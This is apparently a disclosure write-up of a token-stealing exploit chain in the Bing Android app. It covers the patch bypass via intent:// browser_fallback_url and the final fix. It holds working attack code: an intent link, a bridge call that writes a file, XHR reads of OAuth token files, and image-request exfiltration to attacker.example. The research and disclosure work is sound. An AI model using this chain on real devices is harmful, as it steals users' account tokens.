بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ
Target: com.microsoft.bing
Act I: v32.8
Act II: v33.0.440401006 (the patch)
Act I
The four ingredients
- A deep link that loads an arbitrary URL into Bing's in-app browser without validation.
- A JavaScript bridge exposed to every page loaded in that browser, including attacker-controlled pages, with a file-write method.
- The same deep-link handler also accepts
file://URLs. - The WebView runs with
AllowUniversalAccessFromFileURLs = true.
Put them together:
Load attacker-controlled page
↓
Attacker JavaScript writes an exploit HTML file to disk through the bridge
↓
Re-open that file through file://
↓
The file's JavaScript uses XMLHttpRequest to read the app's private shared_prefs
↓
OAuth tokens are extracted
↓
Data is exfiltrated to the attacker
The Hunt
I started with a static JADX decompilation of the v32.8 APK and searched the manifest for exported components with BROWSABLE intent filters.
SapphireMainActivity was registered for several custom schemes:
bing://
opal://
sapphire://
as well as their *debug:// variants.
Custom schemes with browser-related routes are always worth investigating because a browser route often means there is eventually a loadUrl() somewhere in the code path.
Tracing the browser path
dtl.e()
↓
extracts the url= query parameter
↓
BridgeScenario.RequestBrowser
↓
InAppBrowserWebView.loadUrl(url)
↓
no URL validation
#1 — Arbitrary URL Loading
The following deep link:
bing://browser?url=https://example.com
loads https://example.com inside Bing's own in-app browser.
I confirmed this dynamically with a Frida hook on WebView.loadUrl():
adb shell am start \
-a android.intent.action.VIEW \
-d "bing://browser?url=https://example.com"
Output:
[WEBVIEW loadUrl] https://example.com
The same handler also passes file:// URLs through shouldOverrideUrlLoading.
In gwo.java:21, the method returns false for URLs matching the following conditions:
return (string2 == null
|| string2.startsWith("http://")
|| string2.startsWith("https://")
|| string2.startsWith("file://")
|| string2.equals("about:blank")
|| !xn2.a.a(context, string2, webView))
? false
: true;
At this point, an in-app browser capable of loading arbitrary URLs is a real but relatively limited primitive: forced navigation, phishing, and potentially JavaScript-based attacks depending on the origin and surrounding WebView configuration.
The important question was:
What is attached to this WebView?
The JavaScript Bridge
I dumped the JavaScript interfaces exposed by the WebView.
At InAppBrowserWebView.java:434:
addJavascriptInterface(this.n, "iabSDKJSBridge");
iabSDKJSBridge is an instance of dac.java.
The interface is registered during WebView construction, meaning it is available to every page loaded by the in-app browser, including attacker-controlled pages.
One particularly interesting method was:
@JavascriptInterface
public final void saveBase64ToImageFile(
String base64,
String url,
String contentDisposition,
String mimetype) {
byte[] decoded = Base64.decode(base64, 0);
File file = new File(
Environment.getExternalStoragePublicDirectory(
Environment.DIRECTORY_DOWNLOADS
),
URLUtil.guessFileName(
url,
contentDisposition,
mimetype
)
);
et9.writeBytes(file, decoded);
}
The method is intended to save downloaded images.
However, the important properties are:
- The attacker controls the Base64 data.
- The attacker controls the filename indirectly through the URL and content-disposition parameters.
- The file is written to the public Downloads directory.
- The method is callable from JavaScript through
iabSDKJSBridge.
In other words, attacker-controlled JavaScript can cause Bing to write attacker-controlled bytes to disk.
The WebView File-Access Configuration
The next step was examining the WebView's file-access configuration.
I found:
// drr.java:275 — main WebView
settings.setAllowUniversalAccessFromFileURLs(true);
// xn2.java:84 — InAppBrowser WebView
settings.setAllowUniversalAccessFromFileURLs(true);
This was the fourth ingredient.
With universal file access enabled, a file:// page can potentially make requests across file origins.
That raised the possibility of reading files outside the directory containing the HTML document, including files under:
/data/user/0/com.microsoft.bing/
The OAuth token cache was stored under the application's shared_prefs directory.
Time to Exploit
Stage 1 — Get JavaScript Running in the Privileged WebView
The victim taps a link.
For example, a web page could contain an intent:// link that resolves to Bing:
<a href="intent://browser?url=https://attacker.example/stage1.html#Intent;scheme=bing;package=com.microsoft.bing;end">
OPEN BING
</a>
Bing's in-app browser opens and loads:
https://attacker.example/stage1.html
Because iabSDKJSBridge is attached to the WebView, the attacker's JavaScript can directly access the exposed bridge.
Stage 2 — Write the Exploit to Disk
The attacker page constructs a second HTML document containing the actual token-stealing JavaScript.
It then passes the document to the exposed bridge:
iabSDKJSBridge.saveBase64ToImageFile(
btoa(exploit),
"http://x.com/exploit.html",
"",
"text/html"
);
The resulting file is written by Bing into:
/sdcard/Download/
For example:
/sdcard/Download/exploit.html
Stage 3 — Re-open the File Through file://
The attacker then triggers the same deep-link primitive again, this time pointing to the newly created file:
setTimeout(function () {
window.location =
"sapphire://browser?url=file:///sdcard/Download/exploit.html";
}, 2000);
The goal is to cause Bing's WebView to load:
file:///sdcard/Download/exploit.html
Stage 4 — Read the Application Sandbox
The exploit.html document is now loaded as a file:// page in a WebView with:
AllowUniversalAccessFromFileURLs = true
Its JavaScript attempts to read files from the Bing application's private shared_prefs directory:
var files = [
"file:///data/user/0/com.microsoft.bing/shared_prefs/com.microsoft.identity.client.account_credential_cache.xml",
"file:///data/user/0/com.microsoft.bing/shared_prefs/com.microsoft.oneauth.accounts.xml",
"file:///data/user/0/com.microsoft.bing/shared_prefs/com.microsoft.bing_preferences.xml"
];
for (var i = 0; i < files.length; i++) {
var x = new XMLHttpRequest();
x.open("GET", files[i], false);
x.send();
results[files[i]] = x.responseText;
}
The objective is to retrieve the contents of the application's private XML files through the WebView.
Stage 5 — Exfiltrate the Data
The collected data is chunked, Base64-encoded, and sent to an attacker-controlled server using image requests:
for (
var c = 0;
c < Math.ceil(data.length / 2000) && c < 15;
c++
) {
new Image().src =
"https://attacker.example/stolen/chunk" +
c +
"?d=" +
encodeURIComponent(
btoa(data.substring(c * 2000, (c + 1) * 2000))
);
}
The attacker server receives the chunks and reassembles them.
The recovered files included:
account_credential_cache.xml
com.microsoft.oneauth.accounts.xml
com.microsoft.bing_preferences.xml
For example:
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="login.windows.net-refreshtoken-">
cE1QTEF…full_refresh_token…
</string>
</map>
According to my testing, the files contained:
com.microsoft.identity.client.account_credential_cache.xml
→ OAuth refresh tokens, access tokens, and ID tokens
com.microsoft.oneauth.accounts.xml
→ Email, display name, account and tenant identifiers
com.microsoft.bing_preferences.xml
→ MUID/ANID session IDs, application preferences, and search data
Act II
Microsoft Patched It — But the Patch Didn't Hold
Act I was reported to MSRC.
Microsoft subsequently shipped version:
v33.0.440401006
I pulled v33, diffed the relevant code, and tested the changes on-device.
The first patch addressed multiple parts of the original chain.
What the v33 Patch Actually Did
Patch A — The JavaScript Bridge
The bridge method:
iabSDKJSBridge.saveBase64ToImageFile
received additional host and MIME validation.
However, the patched implementation also calls:
webView.getUrl()
from the JavaBridge thread.
This triggers:
WebViewMethodCalledOnWrongThreadViolation
and results in a RuntimeException when the method is invoked.
As a result, the original file-write primitive no longer worked as it did in Act I.
Patch B — The Deep Link
The bing://browser?url= path now sends the supplied URL through a scheme allowlist implemented in k1q.e.
Relevant code from:
jadx/sources/defpackage/k1q.java:113
public static boolean e(String url) throws JSONException {
if (url == null || tzs.isBlank(url)) {
return true;
}
String scheme = Uri.parse(url).getScheme();
if (scheme != null) {
String scheme2 = scheme.toLowerCase(Locale.ROOT);
if (scheme2 != null) {
if (Intrinsics.areEqual(scheme2, "http")
|| Intrinsics.areEqual(scheme2, "https")) {
return true;
}
re8.a.a(
"[DeepLink] Browser URL blocked: unsafe scheme '"
+ scheme2
+ "'"
);
// Telemetry:
// BROWSER_DEEPLINK_BLOCKED
// reason: "unsafe_scheme"
}
}
return false;
}
In other words:
http:// → allowed
https:// → allowed
file:// → blocked
javascript:// → blocked
This directly prevents the original:
sapphire://browser?url=file://...
navigation path.
Patch C — The Claimed Navigation Filter
Microsoft also stated in its response that even if a file:// navigation could be reached, the WebView navigation layer would filter it and prevent the page from loading.
However, this was not a code change I identified in the diff.
The important question therefore became:
Is there another code path in the application that eventually calls
WebViewDelegate.loadUrl(file://...)?
I found one.
The Bypass
The alternative path was:
intent://
↓
browser_fallback_url
↓
WebViewDelegate.loadUrl()
Bing's intent:// handler honors the standard:
browser_fallback_url
extra.
This is the URL a browser can load when an intent:// target cannot be resolved.
The important difference is that this path did not appear to apply the same scheme allowlist used by the patched deep-link browser handler.
In gv2.a.java:
// gv2.a(Context ctx, String url, WebViewDelegate webView)
// Java conversion of gv2.smali:413–556
// url = attacker-supplied target string
if (url.startsWith("intent:")) {
try {
Intent intent = Intent.parseUri(
url,
Intent.URI_INTENT_SCHEME
);
intent.addCategory(
"android.intent.category.BROWSABLE"
);
if (
"android.intent.action.VIEW"
.equals(intent.getAction())
) {
ComponentName target =
intent.resolveActivity(
ctx.getPackageManager()
);
if (target != null) {
// An application resolves the intent.
// Launch it normally.
intent.setFlags(
0x10000000
); // FLAG_ACTIVITY_NEW_TASK
gv2.a.b(true);
ctx.startActivity(intent);
return true;
}
// Nothing resolves the intent.
// Fall back to browser_fallback_url.
String fallback =
intent.getStringExtra(
"browser_fallback_url"
);
if (
fallback != null
&& fallback.length() != 0
) {
if (URLUtil.isValidUrl(fallback)) {
Map<String, String> headers =
eix.a.f(fallback);
webView.loadUrl(
fallback,
headers
);
return true;
}
}
}
} catch (URISyntaxException e) {
// parseUri failed — ignored
}
}
The important flow is:
Attacker-controlled intent://
↓
Intent.parseUri()
↓
resolveActivity()
↓
No application resolves the custom scheme
↓
browser_fallback_url is retrieved
↓
URLUtil.isValidUrl(fallback)
↓
file:// passes URL validation
↓
webView.loadUrl(fallback, headers)
The critical difference is that URLUtil.isValidUrl() is not equivalent to a security scheme allowlist.
It accepts the file:// URL.
Therefore:
browser_fallback_url
↓
file:///...
↓
WebViewDelegate.loadUrl()
The Act II Chain
Stage 1 — Load the Attacker Page
The first stage remains unchanged:
bing://browser?url=https://attacker.example/stage1.html
Because the URL is HTTPS, it passes Patch B's HTTP/HTTPS allowlist.
The attacker-controlled page is therefore still loaded inside Bing's in-app browser with the JavaScript bridge attached.
Stage 2 — The Broken File-Write Primitive
This is where Act I and Act II differ.
In Act I, the attacker used:
iabSDKJSBridge.saveBase64ToImageFile(...)
to write the exploit HTML file to disk.
On v33, Patch A breaks this primitive because of the patched bridge implementation and its WebView threading issue.
For the proof of concept, I therefore pre-positioned the file using:
adb push
A permission-free production file-drop mechanism remained the unsolved link in the real-world chain.
The remaining question was:
Can an attacker get the required file onto the device through a realistic user interaction, such as a download initiated from the attacker-controlled page?
Stage 3 — Replace the Original sapphire:// Navigation
The attacker page can instead construct an intent:// URI with a deliberately unresolvable scheme and a browser_fallback_url pointing to the local file.
For example:
intent://nohost/path#Intent;
scheme=znoresolve;
action=android.intent.action.VIEW;
category=android.intent.category.BROWSABLE;
S.browser_fallback_url=file:///…/exploit2.html;
end
The bogus:
znoresolve
scheme causes:
resolveActivity()
to return null.
The handler then falls back to:
browser_fallback_url
which contains:
file:///…/exploit2.html
The validation flow becomes:
URLUtil.isValidUrl(file://...)
↓
true
↓
webView.loadUrl(file://...)
This bypasses the k1q.e scheme allowlist because the URL is not going through the original deep-link browser validation path.
Stage 4 — Read the Application Data
The file:// page loads with:
AllowUniversalAccessFromFileURLs = true
which I confirmed dynamically through Frida.
The JavaScript can then attempt to read the OAuth-related shared_prefs files using XMLHttpRequest, as in Act I.
# Act III
The Fix That Finally Held — v33.3
After tracing the file-loading primitive across multiple versions, the fix that finally removed the core condition appeared in:
v33.3.440518006
Instead of attempting to patch every possible navigation path individually, Microsoft changed the WebView's file-access configuration.
The critical change was:
settings.setAllowUniversalAccessFromFileURLs(false);
settings.setAllowFileAccessFromFileURLs(false);
settings.setJavaScriptEnabled(true);
The resulting configuration was:
navTo = http://127.0.0.1:8889/start.html
AllowUniversalAccessFromFileURLs = false
AllowFileAccessFromFileURLs = false
JavaScriptEnabled = true
With universal file access disabled, the core cross-file-origin primitive used by the chain is removed.
The final lesson from the three versions was that patching individual navigation primitives was not enough.
The chain ultimately depended on a dangerous WebView security configuration:
AllowUniversalAccessFromFileURLs = true
Disabling that capability removed the underlying primitive rather than relying solely on filtering individual URLs.
والسلام عليكم ورحمة الله وبركاته